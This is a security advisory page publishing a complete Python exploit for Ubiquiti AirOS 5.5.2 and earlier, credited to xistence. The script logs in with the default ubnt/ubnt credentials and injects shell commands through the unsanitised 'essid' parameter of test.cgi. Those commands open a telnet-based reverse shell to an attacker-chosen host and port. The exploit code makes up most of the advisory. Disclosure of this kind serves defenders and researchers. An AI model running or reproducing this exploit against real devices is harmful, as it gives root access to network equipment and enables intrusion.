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Home  Ask the Team  Mailing Lists  Advertising Info  Advisories  About SecuriTeam  Blogs Brought to you by: Suppliers of: Website Testing Tools Network Testing Tools Software Testing Tools SecuriTeam in Your Inbox New vulnerability? New tool? Tell us (Our PGP key). Confidence 2013 5% Off any SANS course Use Code: SecuriTeam_5 Hack In Paris La Nuit du Hack Subjects of Interest: Vulnerability Management SQL Injection Buffer Overflows Active Network Scanning Fuzzing Fuzzer Report Network Security Network Scanner Pen Testing Security Scanner	Ubiquiti AirOS Remote POST-Auth Root Command Exploit 25 Jan. 2013    Summary The http:///test.cgi "essid" parameter is not sanitized for input which allows for execution of operating system commands.   Credit: The information has been provided by xistence. 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No interruption of visitors. www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Ubiquiti AirOS 5.5.2 and prior import urllib, urllib2, cookielib, sys, random, mimetools, mimetypes, itertools, time print "" print "[*] Ubiquiti AirOS <= 5.5.2 Remote POST-Auth Root Command Execution - xistence (xistence<[at]>0x90.nl) - 2012-12-28" print "" if (len(sys.argv) != 4): print "[*] Usage: " + sys.argv[0] + " <rhost> <lhost> <lport>" print "" exit(0) rhost = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] webUser = "ubnt" webPass = "ubnt" # Create a random file with 8 characters filename = '' for i in random.sample('abcdefghijklmnopqrstuvwxyz1234567890',8): filename+=i filename +=".sh" shellCmd = '& echo "mknod /tmp/backpipe p ; telnet ' + lhost + ' ' + lport + ' 0</tmp/backpipe | /bin/sh -C 1>/tmp/backpipe 2>/tmp/backpipe ; rm -rf /tmp/backpipe ; rm -rf /tmp/' + filename + '" > /tmp/' + filename + ' ; chmod +x /tmp/' + filename + ' ; /bin/sh /tmp/' + filename + ' #' class MultiPartForm(object): """Accumulate the data to be used when posting a form.""" def __init__(self): self.form_fields = [] self.files = [] self.boundary = mimetools.choose_boundary() return def get_content_type(self): return 'multipart/form-data; boundary=%s' % self.boundary def add_field(self, name, value): """Add a simple field to the form data.""" self.form_fields.append( ( name, value ) ) return def __str__(self): """Return a string representing the form data, including attached files.""" # Build a list of lists, each containing "lines" of the # request. Each part is separated by a boundary string. # Once the list is built, return a string where each # line is separated by '\r\n'. parts = [] part_boundary = '--' + self.boundary # Add the form fields parts.extend( [ part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value, ] for name, value in self.form_fields ) # Flatten the list and add closing boundary marker, # then return CR+LF separated data flattened = list( itertools.chain( *parts) ) flattened.append( '--' + self.boundary + '--' ) flattened.append( '' ) return '\r\n'.join( flattened ) # Create the form with simple fields form = MultiPartForm() form.add_field( 'uri', '' ) form.add_field( 'username', webUser ) form.add_field( 'password', webPass ) form2 = MultiPartForm() form2.add_field( 'essid', 'LINKTEST ' + shellCmd ) form2.add_field( 'channel', '2412' ) form2.add_field( 'rssithresh', '13' ) form2.add_field( 'file_url', '' ) form2.add_field( 'action', 'test' ) # Our Cookie Jar cj = cookielib.CookieJar() opener = urllib2.build_opener( urllib2.HTTPCookieProcessor( cj ) ) # Just open the default url to grab the cookies and put them in the jar print "[+] Opening default page [http://%s] to store cookies" % rhost resp = opener.open( "http://%s" %rhost ) # Create our multi-part body + headers login POST request print "[+] Logging in with user [%s] and password [%s] at host [%s]" % ( webUser, webPass, rhost ) resp = urllib2.Request( "http://%s/login.cgi" % rhost ) body = str( form ) resp.add_header( 'Content-type', form.get_content_type() ) resp.add_header( 'Content-length', len( body ) ) resp.add_data( body ) request = opener.open( resp ).read() # Create our multi-part body + headers command execution POST request print "[+] Executing reverse shell commands [file = /tmp/" + filename + "], this might take up to a minute before a response is received in your netcat shell" resp = urllib2.Request( "http://%s/test.cgi" % rhost ) body = str( form2 ) resp.add_header( 'Content-type', form2.get_content_type() ) resp.add_header( 'Content-length', len( body ) ) resp.add_data( body ) request = opener.open( resp ).read() time.sleep(30) print "[+] Done, check your netcat reverse shell on ip [%s] port [%s]" % ( lhost, lport ) Disclosure Timeline:Published: 2012-12-29  Comments: blog comments powered by Disqus	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles SimplyPlay v.66 .pls File Buffer Overflow Exploit NProtect Anti-Virus Privilege Escalation Vulnerability Ripe HD FLV Player Plugin for WordPress Multiple Script Direct Request Path Disclosure Vulnerability CMS snews SQL Injection Vulnerability WeBid SQL Injection Exploit Invision Gallery SQL Injection Exploit ArrowChat External.php Lang Parameter Traversal Local File Inclusion Exploit WinWebMail Server Stored XSS Exploit TFTP Server for Windows ST WRQ Buffer Overflow Exploit QNX QCONN Remote Command Execution Exploit Distinct TFTP Writable Directory Traversal Execution Exploit Xion Audio Player 1.0.127 (.aiff) Denial of Service Exploit Wordpress Postie Plugin Stored XSS Exploit Vice City Multiplayer Server Remote Code Execution Exploit Sphpforum Multiple Exploits NetOp Remote Control Client Buffer Overflow Exploit MS12-005 Microsoft Office ClickOnce Unsafe Object Package Handling Exploit MaxForum Local File Inclusion Exploit Inferno vBShout SQL Injection Vulnerability WP Effective Lead Management Persistent XSS Exploit  Featured Articles Social Engine Multiple Exploits Novell Groupwise Address Book Remote Code Execution Exploit GWebmail XSS & LFI RCE Vulnerabilities Acpid Privilege Boundary Crossing Exploit McAfee Virtual Technician MVT.MVTControl.6300 ActiveX GetObject() Vulnerability 'SonicWall Global Management System XSS Vulnerability' 'Opera file:// Overflow' 'vxFtpSrv CWD Command Overflow' 'Kaminsky DNS Cache Poisoning Flaw Exploit for Domains' 'freeSSHD Post Authentication Buffer Overflow (Exploit)' 'Symantec Altiris Client Service Local Privilege Escalation (Exploit)' 'Apple Mac OS X SMB Vulnerabilities (mount_smbfs and smbutil)' 'SurgeMail Webmail Host Header DoS' 'PHP Win32std Extension safe_mode/disable_functions Protections Bypass' 'WinPcap NPF.SYS Privilege Elevation Vulnerability (PoC exploit)' 'MailEnable Buffer Overflow (LOGIN, Exploit)' 'Durian Web Application Server Buffer Overflow (Exploit)' 'KsIRC Buffer Overflow Exploit (PRIVMSG)' 'Allied Telesyn AT-TFTP Server Filename Buffer Overflow (Exploit)' 'Windows WorkStation NetpManageIPCConnect (MS06-070, Exploit)'
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